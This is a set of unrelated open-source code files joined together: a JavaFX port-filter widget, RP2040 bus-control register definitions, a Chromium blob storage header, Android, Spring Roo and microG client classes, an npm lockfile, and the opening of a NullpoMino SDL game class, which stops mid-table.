try {
int newPort = Integer.parseInt(newValue);
if (newPort > MAX_VALUE || newPort < MIN_VALUE) {
portField.setText(oldValue);
} else {
port = newPort;
element.setValue(factory.createFingerprintFilterDstPort(port));
}
} catch (NumberFormatException e) {
if (portField.getText().isEmpty()) {
portField.setText("0");
FingerPrintGui.selectAll(portField);
} else {
portField.setText(oldValue);
}
}
}
});
portField.focusedProperty().addListener((observable, oldValue, newValue) -> {
if (!oldValue.equals(newValue)) {
FingerPrintGui.selectAll(portField);
}
});
inputBox.setAlignment(Pos.CENTER_RIGHT);
inputBox.setSpacing(2);
inputBox.getChildren().addAll(portLabel, portField);
return inputBox;
}
@Override
public FilterType getType() {
return FilterType.DSTPORT;
}
@Override
public SimpleObjectProperty<JAXBElement<Integer>> elementProperty() {
return this.element;
}
}
| 1,326 |
7,482 | <reponame>849679859/rt-thread
/**
* Copyright (c) 2021 Raspberry Pi (Trading) Ltd.
*
* SPDX-License-Identifier: BSD-3-Clause
*/
// =============================================================================
// Register block : BUSCTRL
// Version : 1
// Bus type : apb
// Description : Register block for busfabric control signals and performance
// counters
// =============================================================================
#ifndef HARDWARE_REGS_BUSCTRL_DEFINED
#define HARDWARE_REGS_BUSCTRL_DEFINED
// =============================================================================
// Register : BUSCTRL_BUS_PRIORITY
// Description : Set the priority of each master for bus arbitration.
#define BUSCTRL_BUS_PRIORITY_OFFSET 0x00000000
#define BUSCTRL_BUS_PRIORITY_BITS 0x00001111
#define BUSCTRL_BUS_PRIORITY_RESET 0x00000000
// -----------------------------------------------------------------------------
// Field : BUSCTRL_BUS_PRIORITY_DMA_W
// Description : 0 - low priority, 1 - high priority
#define BUSCTRL_BUS_PRIORITY_DMA_W_RESET 0x0
#define BUSCTRL_BUS_PRIORITY_DMA_W_BITS 0x00001000
#define BUSCTRL_BUS_PRIORITY_DMA_W_MSB 12
#define BUSCTRL_BUS_PRIORITY_DMA_W_LSB 12
#define BUSCTRL_BUS_PRIORITY_DMA_W_ACCESS "RW"
// -----------------------------------------------------------------------------
// Field : BUSCTRL_BUS_PRIORITY_DMA_R
// Description : 0 - low priority, 1 - high priority
#define BUSCTRL_BUS_PRIORITY_DMA_R_RESET 0x0
#define BUSCTRL_BUS_PRIORITY_DMA_R_BITS 0x00000100
#define BUSCTRL_BUS_PRIORITY_DMA_R_MSB 8
#define BUSCTRL_BUS_PRIORITY_DMA_R_LSB 8
#define BUSCTRL_BUS_PRIORITY_DMA_R_ACCESS "RW"
// -----------------------------------------------------------------------------
// Field : BUSCTRL_BUS_PRIORITY_PROC1
// Description : 0 - low priority, 1 - high priority
#define BUSCTRL_BUS_PRIORITY_PROC1_RESET 0x0
#define BUSCTRL_BUS_PRIORITY_PROC1_BITS 0x00000010
#define BUSCTRL_BUS_PRIORITY_PROC1_MSB 4
#define BUSCTRL_BUS_PRIORITY_PROC1_LSB 4
#define BUSCTRL_BUS_PRIORITY_PROC1_ACCESS "RW"
// -----------------------------------------------------------------------------
// Field : BUSCTRL_BUS_PRIORITY_PROC0
// Description : 0 - low priority, 1 - high priority
#define BUSCTRL_BUS_PRIORITY_PROC0_RESET 0x0
#define BUSCTRL_BUS_PRIORITY_PROC0_BITS 0x00000001
#define BUSCTRL_BUS_PRIORITY_PROC0_MSB 0
#define BUSCTRL_BUS_PRIORITY_PROC0_LSB 0
#define BUSCTRL_BUS_PRIORITY_PROC0_ACCESS "RW"
// =============================================================================
// Register : BUSCTRL_BUS_PRIORITY_ACK
// Description : Bus priority acknowledge
// Goes to 1 once all arbiters have registered the new global
// priority levels.
// Arbiters update their local priority when servicing a new
// nonsequential access.
// In normal circumstances this will happen almost immediately.
#define BUSCTRL_BUS_PRIORITY_ACK_OFFSET 0x00000004
#define BUSCTRL_BUS_PRIORITY_ACK_BITS 0x00000001
#define BUSCTRL_BUS_PRIORITY_ACK_RESET 0x00000000
#define BUSCTRL_BUS_PRIORITY_ACK_MSB 0
#define BUSCTRL_BUS_PRIORITY_ACK_LSB 0
#define BUSCTRL_BUS_PRIORITY_ACK_ACCESS "RO"
// =============================================================================
// Register : BUSCTRL_PERFCTR0
// Description : Bus fabric performance counter 0
// Busfabric saturating performance counter 0
// Count some event signal from the busfabric arbiters.
// Write any value to clear. Select an event to count using
// PERFSEL0
#define BUSCTRL_PERFCTR0_OFFSET 0x00000008
#define BUSCTRL_PERFCTR0_BITS 0x00ffffff
#define BUSCTRL_PERFCTR0_RESET 0x00000000
#define BUSCTRL_PERFCTR0_MSB 23
#define BUSCTRL_PERFCTR0_LSB 0
#define BUSCTRL_PERFCTR0_ACCESS "WC"
// =============================================================================
// Register : BUSCTRL_PERFSEL0
// Description : Bus fabric performance event select for PERFCTR0
// Select a performance event for PERFCTR0
#define BUSCTRL_PERFSEL0_OFFSET 0x0000000c
#define BUSCTRL_PERFSEL0_BITS 0x0000001f
#define BUSCTRL_PERFSEL0_RESET 0x0000001f
#define BUSCTRL_PERFSEL0_MSB 4
#define BUSCTRL_PERFSEL0_LSB 0
#define BUSCTRL_PERFSEL0_ACCESS "RW"
// =============================================================================
// Register : BUSCTRL_PERFCTR1
// Description : Bus fabric performance counter 1
// Busfabric saturating performance counter 1
// Count some event signal from the busfabric arbiters.
// Write any value to clear. Select an event to count using
// PERFSEL1
#define BUSCTRL_PERFCTR1_OFFSET 0x00000010
#define BUSCTRL_PERFCTR1_BITS 0x00ffffff
#define BUSCTRL_PERFCTR1_RESET 0x00000000
#define BUSCTRL_PERFCTR1_MSB 23
#define BUSCTRL_PERFCTR1_LSB 0
#define BUSCTRL_PERFCTR1_ACCESS "WC"
// =============================================================================
// Register : BUSCTRL_PERFSEL1
// Description : Bus fabric performance event select for PERFCTR1
// Select a performance event for PERFCTR1
#define BUSCTRL_PERFSEL1_OFFSET 0x00000014
#define BUSCTRL_PERFSEL1_BITS 0x0000001f
#define BUSCTRL_PERFSEL1_RESET 0x0000001f
#define BUSCTRL_PERFSEL1_MSB 4
#define BUSCTRL_PERFSEL1_LSB 0
#define BUSCTRL_PERFSEL1_ACCESS "RW"
// =============================================================================
// Register : BUSCTRL_PERFCTR2
// Description : Bus fabric performance counter 2
// Busfabric saturating performance counter 2
// Count some event signal from the busfabric arbiters.
// Write any value to clear. Select an event to count using
// PERFSEL2
#define BUSCTRL_PERFCTR2_OFFSET 0x00000018
#define BUSCTRL_PERFCTR2_BITS 0x00ffffff
#define BUSCTRL_PERFCTR2_RESET 0x00000000
#define BUSCTRL_PERFCTR2_MSB 23
#define BUSCTRL_PERFCTR2_LSB 0
#define BUSCTRL_PERFCTR2_ACCESS "WC"
// =============================================================================
// Register : BUSCTRL_PERFSEL2
// Description : Bus fabric performance event select for PERFCTR2
// Select a performance event for PERFCTR2
#define BUSCTRL_PERFSEL2_OFFSET 0x0000001c
#define BUSCTRL_PERFSEL2_BITS 0x0000001f
#define BUSCTRL_PERFSEL2_RESET 0x0000001f
#define BUSCTRL_PERFSEL2_MSB 4
#define BUSCTRL_PERFSEL2_LSB 0
#define BUSCTRL_PERFSEL2_ACCESS "RW"
// =============================================================================
// Register : BUSCTRL_PERFCTR3
// Description : Bus fabric performance counter 3
// Busfabric saturating performance counter 3
// Count some event signal from the busfabric arbiters.
// Write any value to clear. Select an event to count using
// PERFSEL3
#define BUSCTRL_PERFCTR3_OFFSET 0x00000020
#define BUSCTRL_PERFCTR3_BITS 0x00ffffff
#define BUSCTRL_PERFCTR3_RESET 0x00000000
#define BUSCTRL_PERFCTR3_MSB 23
#define BUSCTRL_PERFCTR3_LSB 0
#define BUSCTRL_PERFCTR3_ACCESS "WC"
// =============================================================================
// Register : BUSCTRL_PERFSEL3
// Description : Bus fabric performance event select for PERFCTR3
// Select a performance event for PERFCTR3
#define BUSCTRL_PERFSEL3_OFFSET 0x00000024
#define BUSCTRL_PERFSEL3_BITS 0x0000001f
#define BUSCTRL_PERFSEL3_RESET 0x0000001f
#define BUSCTRL_PERFSEL3_MSB 4
#define BUSCTRL_PERFSEL3_LSB 0
#define BUSCTRL_PERFSEL3_ACCESS "RW"
// =============================================================================
#endif // HARDWARE_REGS_BUSCTRL_DEFINED
| 2,861 |
14,668 | // Copyright (c) 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef STORAGE_BROWSER_BLOB_BLOB_DATA_ITEM_H_
#define STORAGE_BROWSER_BLOB_BLOB_DATA_ITEM_H_
#include <stdint.h>
#include <memory>
#include <ostream>
#include <string>
#include "base/component_export.h"
#include "base/containers/span.h"
#include "base/files/file_path.h"
#include "base/memory/ref_counted.h"
#include "components/services/storage/public/mojom/blob_storage_context.mojom.h"
#include "net/base/io_buffer.h"
#include "storage/browser/blob/shareable_file_reference.h"
#include "storage/browser/file_system/file_system_url.h"
#include "url/gurl.h"
namespace storage {
class BlobDataBuilder;
class BlobStorageContext;
class FileSystemContext;
// Ref counted blob item. This class owns the backing data of the blob item. The
// backing data is immutable, and cannot change after creation. The purpose of
// this class is to allow the resource to stick around in the snapshot even
// after the resource was swapped in the blob (either to disk or to memory) by
// the BlobStorageContext.
class COMPONENT_EXPORT(STORAGE_BROWSER) BlobDataItem
: public base::RefCounted<BlobDataItem> {
public:
enum class Type {
kBytes,
kBytesDescription,
kFile,
kFileFilesystem,
kReadableDataHandle,
};
// The DataHandle class is used to persist an interface and resources for
// reading this BlobDataItem. This object will stay around while any reads are
// pending. If all blobs with this item are deleted or the item is swapped for
// a different backend version (mem-to-disk or the reverse), then the item
// will be destructed after all pending reads are complete.
class COMPONENT_EXPORT(STORAGE_BROWSER) DataHandle
: public base::RefCounted<DataHandle> {
public:
// Returns the size of the main blob data.
virtual uint64_t GetSize() const = 0;
// Reads the given data range into the given |producer|.
// Returns the net::Error from the read operation to the callback.
virtual void Read(mojo::ScopedDataPipeProducerHandle producer,
uint64_t src_offset,
uint64_t bytes_to_read,
base::OnceCallback<void(int)> callback) = 0;
// Returns the side data size. If there is no side data, then 0 should
// be returned.
virtual uint64_t GetSideDataSize() const = 0;
// Returns the entire side data as a BigBuffer and the net::Error from
// reading. The number of bytes read is the size of the BigBuffer.
virtual void ReadSideData(
base::OnceCallback<void(int, mojo_base::BigBuffer)> callback) = 0;
// Print a description of the readable DataHandle for debugging.
virtual void PrintTo(::std::ostream* os) const = 0;
protected:
virtual ~DataHandle();
private:
friend class base::RefCounted<DataHandle>;
};
static scoped_refptr<BlobDataItem> CreateBytes(
base::span<const uint8_t> bytes);
static scoped_refptr<BlobDataItem> CreateBytesDescription(size_t length);
static scoped_refptr<BlobDataItem> CreateFile(base::FilePath path);
static scoped_refptr<BlobDataItem> CreateFile(
base::FilePath path,
uint64_t offset,
uint64_t length,
base::Time expected_modification_time = base::Time(),
scoped_refptr<ShareableFileReference> file_ref = nullptr);
static scoped_refptr<BlobDataItem> CreateFutureFile(uint64_t offset,
uint64_t length,
uint64_t file_id);
static scoped_refptr<BlobDataItem> CreateFileFilesystem(
const FileSystemURL& url,
uint64_t offset,
uint64_t length,
base::Time expected_modification_time,
scoped_refptr<FileSystemContext> file_system_context);
static scoped_refptr<BlobDataItem> CreateReadableDataHandle(
scoped_refptr<DataHandle> data_handle,
uint64_t offset,
uint64_t length);
static scoped_refptr<BlobDataItem> CreateMojoDataItem(
mojom::BlobDataItemPtr item);
Type type() const { return type_; }
uint64_t offset() const { return offset_; }
uint64_t length() const { return length_; }
base::span<const uint8_t> bytes() const {
DCHECK_EQ(type_, Type::kBytes);
return base::make_span(bytes_);
}
const base::FilePath& path() const {
DCHECK_EQ(type_, Type::kFile);
return path_;
}
const FileSystemURL& filesystem_url() const {
DCHECK_EQ(type_, Type::kFileFilesystem);
return filesystem_url_;
}
FileSystemContext* file_system_context() const {
DCHECK_EQ(type_, Type::kFileFilesystem);
return file_system_context_.get();
}
const base::Time& expected_modification_time() const {
DCHECK(type_ == Type::kFile || type_ == Type::kFileFilesystem)
<< static_cast<int>(type_);
return expected_modification_time_;
}
DataHandle* data_handle() const {
DCHECK_EQ(type_, Type::kReadableDataHandle) << static_cast<int>(type_);
return data_handle_.get();
}
// Returns true if this item was created by CreateFutureFile.
bool IsFutureFileItem() const;
// Returns |file_id| given to CreateFutureFile.
uint64_t GetFutureFileID() const;
private:
friend class BlobBuilderFromStream;
friend class BlobDataBuilder;
friend class BlobStorageContext;
friend class base::RefCounted<BlobDataItem>;
friend COMPONENT_EXPORT(STORAGE_BROWSER) void PrintTo(const BlobDataItem& x,
::std::ostream* os);
BlobDataItem(Type type, uint64_t offset, uint64_t length);
virtual ~BlobDataItem();
base::span<uint8_t> mutable_bytes() {
DCHECK_EQ(type_, Type::kBytes);
return base::make_span(bytes_);
}
void AllocateBytes();
void PopulateBytes(base::span<const uint8_t> data);
void ShrinkBytes(size_t new_length);
void PopulateFile(base::FilePath path,
base::Time expected_modification_time,
scoped_refptr<ShareableFileReference> file_ref);
void ShrinkFile(uint64_t new_length);
void GrowFile(uint64_t new_length);
void SetFileModificationTime(base::Time time) {
DCHECK_EQ(type_, Type::kFile);
expected_modification_time_ = time;
}
static void SetFileModificationTimes(
std::vector<scoped_refptr<BlobDataItem>> items,
std::vector<base::Time> times);
Type type_;
uint64_t offset_;
uint64_t length_;
std::vector<uint8_t> bytes_; // For Type::kBytes.
base::FilePath path_; // For Type::kFile.
FileSystemURL filesystem_url_; // For Type::kFileFilesystem.
base::Time
expected_modification_time_; // For Type::kFile and kFileFilesystem.
scoped_refptr<DataHandle> data_handle_; // For kReadableDataHandle.
scoped_refptr<ShareableFileReference> file_ref_; // For Type::kFile
scoped_refptr<FileSystemContext>
file_system_context_; // For Type::kFileFilesystem.
};
COMPONENT_EXPORT(STORAGE_BROWSER)
bool operator==(const BlobDataItem& a, const BlobDataItem& b);
COMPONENT_EXPORT(STORAGE_BROWSER)
bool operator!=(const BlobDataItem& a, const BlobDataItem& b);
} // namespace storage
#endif // STORAGE_BROWSER_BLOB_BLOB_DATA_ITEM_H_
| 2,730 |
6,185 | <gh_stars>1000+
package skin.support.widget;
import android.content.Context;
import androidx.appcompat.widget.AppCompatRatingBar;
import android.util.AttributeSet;
import skin.support.appcompat.R;
/**
* Created by ximsfei on 17-1-21.
*/
public class SkinCompatRatingBar extends AppCompatRatingBar implements SkinCompatSupportable {
private SkinCompatProgressBarHelper mSkinCompatProgressBarHelper;
public SkinCompatRatingBar(Context context) {
this(context, null);
}
public SkinCompatRatingBar(Context context, AttributeSet attrs) {
this(context, attrs, R.attr.ratingBarStyle);
}
public SkinCompatRatingBar(Context context, AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
mSkinCompatProgressBarHelper = new SkinCompatProgressBarHelper(this);
mSkinCompatProgressBarHelper.loadFromAttributes(attrs, defStyleAttr);
}
@Override
public void applySkin() {
if (mSkinCompatProgressBarHelper != null) {
mSkinCompatProgressBarHelper.applySkin();
}
}
}
| 377 |
416 | <gh_stars>100-1000
package org.springframework.roo.addon.layers.service.addon;
import org.springframework.roo.model.JavaPackage;
import org.springframework.roo.model.JavaType;
/**
* API that defines all available operations for service layer management.
*
* @author <NAME>
* @author <NAME>
* @since 1.2.0
*/
public interface ServiceOperations {
/**
* Check if developer is able to use 'service' commands
*
* @return true if service commands are available
*/
boolean areServiceCommandsAvailable();
/**
* Generates new service interface and its implementation for some specific
* domain entity and repository.
*
* @param domainType entity related with service
* @param repositoryType repository related with service
* @param interfaceType service interface to generate
* @param implType service implementation to generate.
*/
void addService(JavaType domainType, JavaType repositoryType, JavaType interfaceType,
JavaType implType);
/**
* Generates new service interface and its implementation for some specific
* domain entity.
*
* @param domainType entity related with service
* @param interfaceType service interface to generate
* @param implType service implementation to generate.
*/
void addService(JavaType domainType, JavaType interfaceType, JavaType implType);
/**
* Generates new services interface and its implementations for every domain
* entity of generated project
*
* @param apiPackage
* @param implPackage
*/
void addAllServices(JavaPackage apiPackage, JavaPackage implPackage);
}
| 437 |
3,181 | <gh_stars>1000+
/*
* SPDX-FileCopyrightText: 2020, microG Project Team
* SPDX-License-Identifier: Apache-2.0
*/
package org.microg.gms.nearby;
import android.content.Context;
import android.os.IBinder;
import android.os.RemoteException;
import com.google.android.gms.nearby.exposurenotification.internal.GetCalibrationConfidenceParams;
import com.google.android.gms.nearby.exposurenotification.internal.GetDailySummariesParams;
import com.google.android.gms.nearby.exposurenotification.internal.GetDiagnosisKeysDataMappingParams;
import com.google.android.gms.nearby.exposurenotification.internal.GetExposureInformationParams;
import com.google.android.gms.nearby.exposurenotification.internal.GetExposureSummaryParams;
import com.google.android.gms.nearby.exposurenotification.internal.GetExposureWindowsParams;
import com.google.android.gms.nearby.exposurenotification.internal.GetPackageConfigurationParams;
import com.google.android.gms.nearby.exposurenotification.internal.GetStatusParams;
import com.google.android.gms.nearby.exposurenotification.internal.GetTemporaryExposureKeyHistoryParams;
import com.google.android.gms.nearby.exposurenotification.internal.GetVersionParams;
import com.google.android.gms.nearby.exposurenotification.internal.INearbyExposureNotificationService;
import com.google.android.gms.nearby.exposurenotification.internal.IsEnabledParams;
import com.google.android.gms.nearby.exposurenotification.internal.ProvideDiagnosisKeysParams;
import com.google.android.gms.nearby.exposurenotification.internal.RequestPreAuthorizedTemporaryExposureKeyHistoryParams;
import com.google.android.gms.nearby.exposurenotification.internal.RequestPreAuthorizedTemporaryExposureKeyReleaseParams;
import com.google.android.gms.nearby.exposurenotification.internal.SetDiagnosisKeysDataMappingParams;
import com.google.android.gms.nearby.exposurenotification.internal.StartParams;
import com.google.android.gms.nearby.exposurenotification.internal.StopParams;
import org.microg.gms.common.GmsClient;
import org.microg.gms.common.GmsService;
import org.microg.gms.common.api.ConnectionCallbacks;
import org.microg.gms.common.api.OnConnectionFailedListener;
public class ExposureNotificationApiClient extends GmsClient<INearbyExposureNotificationService> {
public ExposureNotificationApiClient(Context context, ConnectionCallbacks callbacks, OnConnectionFailedListener connectionFailedListener) {
super(context, callbacks, connectionFailedListener, GmsService.NEARBY_EXPOSURE.ACTION);
serviceId = GmsService.NEARBY_EXPOSURE.SERVICE_ID;
}
@Override
protected INearbyExposureNotificationService interfaceFromBinder(IBinder binder) {
return INearbyExposureNotificationService.Stub.asInterface(binder);
}
public void getVersion(GetVersionParams params) throws RemoteException {
getServiceInterface().getVersion(params);
}
public void getCalibrationConfidence(GetCalibrationConfidenceParams params) throws RemoteException {
getServiceInterface().getCalibrationConfidence(params);
}
public void start(StartParams params) throws RemoteException {
getServiceInterface().start(params);
}
public void stop(StopParams params) throws RemoteException {
getServiceInterface().stop(params);
}
public void isEnabled(IsEnabledParams params) throws RemoteException {
getServiceInterface().isEnabled(params);
}
public void getTemporaryExposureKeyHistory(GetTemporaryExposureKeyHistoryParams params) throws RemoteException {
getServiceInterface().getTemporaryExposureKeyHistory(params);
}
public void provideDiagnosisKeys(ProvideDiagnosisKeysParams params) throws RemoteException {
getServiceInterface().provideDiagnosisKeys(params);
}
public void getExposureSummary(GetExposureSummaryParams params) throws RemoteException {
getServiceInterface().getExposureSummary(params);
}
public void getExposureInformation(GetExposureInformationParams params) throws RemoteException {
getServiceInterface().getExposureInformation(params);
}
public void getExposureWindows(GetExposureWindowsParams params) throws RemoteException {
getServiceInterface().getExposureWindows(params);
}
public void getDailySummaries(GetDailySummariesParams params) throws RemoteException {
getServiceInterface().getDailySummaries(params);
}
public void setDiagnosisKeysDataMapping(SetDiagnosisKeysDataMappingParams params) throws RemoteException {
getServiceInterface().setDiagnosisKeysDataMapping(params);
}
public void getDiagnosisKeysDataMapping(GetDiagnosisKeysDataMappingParams params) throws RemoteException {
getServiceInterface().getDiagnosisKeysDataMapping(params);
}
public void getPackageConfiguration(GetPackageConfigurationParams params) throws RemoteException {
getServiceInterface().getPackageConfiguration(params);
}
public void getStatus(GetStatusParams params) throws RemoteException {
getServiceInterface().getStatus(params);
}
public void requestPreAuthorizedTemporaryExposureKeyHistory(RequestPreAuthorizedTemporaryExposureKeyHistoryParams params) throws RemoteException {
getServiceInterface().requestPreAuthorizedTemporaryExposureKeyHistory(params);
}
public void requestPreAuthorizedTemporaryExposureKeyRelease(RequestPreAuthorizedTemporaryExposureKeyReleaseParams params) throws RemoteException {
getServiceInterface().requestPreAuthorizedTemporaryExposureKeyRelease(params);
}
}
| 1,706 |
512 | {
"name": "@egret/protobuf",
"version": "1.1.2",
"lockfileVersion": 1,
"requires": true,
"dependencies": {
"@types/bluebird": {
"version": "3.5.24",
"resolved": "https://registry.npmjs.org/@types/bluebird/-/bluebird-3.5.24.tgz",
"integrity": "<KEY>
"dev": true
},
"@types/fs-extra": {
"version": "4.0.8",
"resolved": "https://registry.npmjs.org/@types/fs-extra/-/fs-extra-4.0.8.tgz",
"integrity": "<KEY>
"dev": true,
"requires": {
"@types/node": "*"
}
},
"@types/fs-extra-promise": {
"version": "1.0.7",
"resolved": "https://registry.npmjs.org/@types/fs-extra-promise/-/fs-extra-promise-1.0.7.tgz",
"integrity": "<KEY>
"dev": true,
"requires": {
"@types/bluebird": "*",
"@types/fs-extra": "^4",
"@types/node": "*"
}
},
"@types/node": {
"version": "9.6.31",
"resolved": "https://registry.npmjs.org/@types/node/-/node-9.6.31.tgz",
"integrity": "<KEY>
"dev": true
},
"@types/uglify-js": {
"version": "2.6.31",
"resolved": "https://registry.npmjs.org/@types/uglify-js/-/uglify-js-2.6.31.tgz",
"integrity": "<KEY>
"dev": true,
"requires": {
"source-map": "^0.6.1"
}
},
"bluebird": {
"version": "3.5.2",
"resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.2.tgz",
"integrity": "<KEY>
},
"commander": {
"version": "2.17.1",
"resolved": "https://registry.npmjs.org/commander/-/commander-2.17.1.tgz",
"integrity": "<KEY>
},
"fs-extra": {
"version": "5.0.0",
"resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-5.0.0.tgz",
"integrity": "sha512-66Pm4RYbjzdyeuqudYqhFiNBbCIuI9kgRqLPSHIlXHidW8NIQtVdkM1yeZ4lXwuhbTETv3EUGMNHAAw6hiundQ==",
"requires": {
"graceful-fs": "^4.1.2",
"jsonfile": "^4.0.0",
"universalify": "^0.1.0"
}
},
"fs-extra-promise": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/fs-extra-promise/-/fs-extra-promise-1.0.1.tgz",
"integrity": "sha1-tu0azpexDga5X0WNBRt/BcZhPuY=",
"requires": {
"bluebird": "^3.5.0",
"fs-extra": "^2.1.2"
},
"dependencies": {
"fs-extra": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-2.1.2.tgz",
"integrity": "sha1-BGxwFjzvmq1GsOSn+kZ/si1x3jU=",
"requires": {
"graceful-fs": "^4.1.2",
"jsonfile": "^2.1.0"
}
},
"jsonfile": {
"version": "2.4.0",
"resolved": "http://registry.npmjs.org/jsonfile/-/jsonfile-2.4.0.tgz",
"integrity": "sha1-NzaitCi4e72gzIO1P6PWM6NcKug=",
"requires": {
"graceful-fs": "^4.1.6"
}
}
}
},
"graceful-fs": {
"version": "4.1.11",
"resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.1.11.tgz",
"integrity": "sha1-Dovf5NHduIVNZOBOp8AOKgJuVlg="
},
"jsonfile": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz",
"integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=",
"requires": {
"graceful-fs": "^4.1.6"
}
},
"source-map": {
"version": "0.6.1",
"resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
"integrity": "<KEY>
},
"uglify-js": {
"version": "3.4.9",
"resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.4.9.tgz",
"integrity": "<KEY>
"requires": {
"commander": "~2.17.1",
"source-map": "~0.6.1"
}
},
"universalify": {
"version": "0.1.2",
"resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz",
"integrity": "<KEY>
}
}
}
| 2,232 |
466 | /*
Copyright (c) 2010, NullNoname
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of NullNoname nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
*/
package mu.nu.nullpo.gui.sdl;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.text.DateFormat;
import java.text.DecimalFormat;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Locale;
import javax.swing.JOptionPane;
import mu.nu.nullpo.game.net.NetObserverClient;
import mu.nu.nullpo.game.play.GameEngine;
import mu.nu.nullpo.util.CustomProperties;
import mu.nu.nullpo.util.ModeManager;
import org.apache.log4j.Logger;
import org.apache.log4j.PropertyConfigurator;
import sdljava.SDLException;
import sdljava.SDLMain;
import sdljava.SDLVersion;
import sdljava.event.SDLEvent;
import sdljava.event.SDLKeyboardEvent;
import sdljava.event.SDLQuitEvent;
import sdljava.joystick.HatState;
import sdljava.joystick.SDLJoystick;
import sdljava.mixer.SDLMixer;
import sdljava.ttf.SDLTTF;
import sdljava.video.SDLRect;
import sdljava.video.SDLSurface;
import sdljava.video.SDLVideo;
/**
* NullpoMino SDLVersion
*/
public class NullpoMinoSDL {
/** Log */
static Logger log = Logger.getLogger(NullpoMinoSDL.class);
/** SDL key names */
public static final String[] SDL_KEYNAMES =
{
"NONE","(1)","(2)","(3)","(4)","(5)","(6)","(7)","BACKSPACE","TAB","(10)","(11)","CLEAR","RETURN",
"(14)","(15)","(16)","(17)","(18)","PAUSE","(20)","(21)","(22)","(23)","(24)","(25)","(26)","ESCAPE",
"(28)","(29)","(30)","(31)","SPACE","EXCLAIM","QUOTEDBL","HASH","DOLLAR","(37)","AMPERSAND","QUOTE",
"LEFTPAREN","RIGHTPAREN","ASTERISK","PLUS","COMMA","MINUS","PERIOD","SLASH","0","1","2","3","4","5",
"6","7","8","9","COLON","SEMICOLON","LESS","EQUALS","GREATER","QUESTION","AT","(65)","(66)","(67)",
"(68)","(69)","(70)","(71)","(72)","(73)","(74)","(75)","(76)","(77)","(78)","(79)","(80)","(81)",
"(82)","(83)","(84)","(85)","(86)","(87)","(88)","(89)","(90)","LEFTBRACKET","BACKSLASH","RIGHTBRACKET",
"CARET","UNDERSCORE","BACKQUOTE","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R",
"S","T","U","V","W","X","Y","Z","(123)","(124)","(125)","(126)","DELETE","(128)","(129)","(130)","(131)",
"(132)","(133)","(134)","(135)","(136)","(137)","(138)","(139)","(140)","(141)","(142)","(143)","(144)",
"(145)","(146)","(147)","(148)","(149)","(150)","(151)","(152)","(153)","(154)","(155)","(156)","(157)",
"(158)","(159)","WORLD_0","WORLD_1","WORLD_2","WORLD_3","WORLD_4","WORLD_5","WORLD_6","WORLD_7","WORLD_8",
"WORLD_9","WORLD_10","WORLD_11","WORLD_12","WORLD_13","WORLD_14","WORLD_15","WORLD_16","WORLD_17","WORLD_18",
"WORLD_19","WORLD_20","WORLD_21","WORLD_22","WORLD_23","WORLD_24","WORLD_25","WORLD_26","WORLD_27","WORLD_28",
"WORLD_29","WORLD_30","WORLD_31","WORLD_32","WORLD_33","WORLD_34","WORLD_35","WORLD_36","WORLD_37","WORLD_38",
"WORLD_39","WORLD_40","WORLD_41","WORLD_42","WORLD_43","WORLD_44","WORLD_45","WORLD_46","WORLD_47","WORLD_48",
"WORLD_49","WORLD_50","WORLD_51","WORLD_52","WORLD_53","WORLD_54","WORLD_55","WORLD_56","WORLD_57","WORLD_58",
"WORLD_59","WORLD_60","WORLD_61","WORLD_62","WORLD_63","WORLD_64","WORLD_65","WORLD_66","WORLD_67","WORLD_68",
"WORLD_69","WORLD_70","WORLD_71","WORLD_72","WORLD_73","WORLD_74","WORLD_75","WORLD_76","WORLD_77","WORLD_78",
"WORLD_79","WORLD_80","WORLD_81","WORLD_82","WORLD_83","WORLD_84","WORLD_85","WORLD_86","WORLD_87","WORLD_88",
"WORLD_89","WORLD_90","WORLD_91","WORLD_92","WORLD_93","WORLD_94","WORLD_95","KP0","KP1","KP2","KP3","KP4",
"KP5","KP6","KP7","KP8","KP9","KP_PERIOD","KP_DIVIDE","KP_MULTIPLY","KP_MINUS","KP_PLUS","KP_ENTER","KP_EQUALS",
"UP","DOWN","RIGHT","LEFT","INSERT","HOME","END","PAGEUP","PAGEDOWN","F1","F2","F3","F4","F5","F6","F7","F8","F9",
